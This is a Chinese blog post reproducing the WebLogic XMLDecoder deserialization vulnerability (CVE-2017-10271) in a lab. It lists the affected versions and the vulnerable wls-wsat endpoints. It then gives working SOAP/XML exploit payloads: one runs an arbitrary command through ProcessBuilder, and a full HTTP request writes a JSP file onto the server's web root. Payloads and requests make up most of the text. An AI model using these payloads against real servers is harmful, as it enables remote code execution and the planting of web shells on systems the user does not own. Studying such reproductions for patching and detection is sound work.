Weblogic漏洞复现——XMLDecoder(CVE-2017-10271)
⼀、漏洞描述:
CVE-2017-10271漏洞产⽣的原因是Weblogic的WLS Security组件对外提供webservice服务,其中使⽤了XMLDecoder来解析⽤户传⼊的XML数据,在解析的过程中出现反序列化漏洞,导致可执⾏任意命令。攻击者发送精⼼构造的xml数据甚⾄能通过反弹shell拿到权限。
影响版本:10.3.6.0,12.1.3.0.0,12.2.1.1.0
⼆、环境搭建
windows service 2008 R2
三、漏洞复现
漏洞检测:
⼯具利⽤ — XML反序列化漏洞检查⼯具
脚本利⽤ — CVE-2017-10271-poc.py
Burp抓包传⼊数据验证
漏洞地址:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
1、在⽬标环境机调⽤计算器
访问:yourip:7001/wls-wsat/RegistrationRequesterPortType
上⾯漏洞地址效果都⼀样的
构造POST数据包,
将Content-Type修改为:text/xml
发送数据包,服务器返回的状态码为500。
利⽤的poc:
<soapenv:Envelope xmlns:soapenv="/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string></string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
查看靶机(service 2008),可以看到⽬标机器的计算器已经被调⽤
2、上传⽂件的poc
POST //wls-wsat/CoordinatorPortType HTTP/1.1
Host: yourip:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=WvRQdwVJLvRTRvNn1f7lDlHGh9hTgyvFQPGy9YqTQpLymTTL9jnZ!-1021969175 Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 648
<soapenv:Envelope xmlns:soapenv="/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="bea/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/666.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("8888"); %>
]]>
</string>
cve漏洞库</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
构造post数据包,将Content-Type修改为:text/xml
发送数据包,服务器返回的状态码为500
访问 :your-ip:7001/bea_wls_internal/666.jsp
靶机查看上传的⽂件地址:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论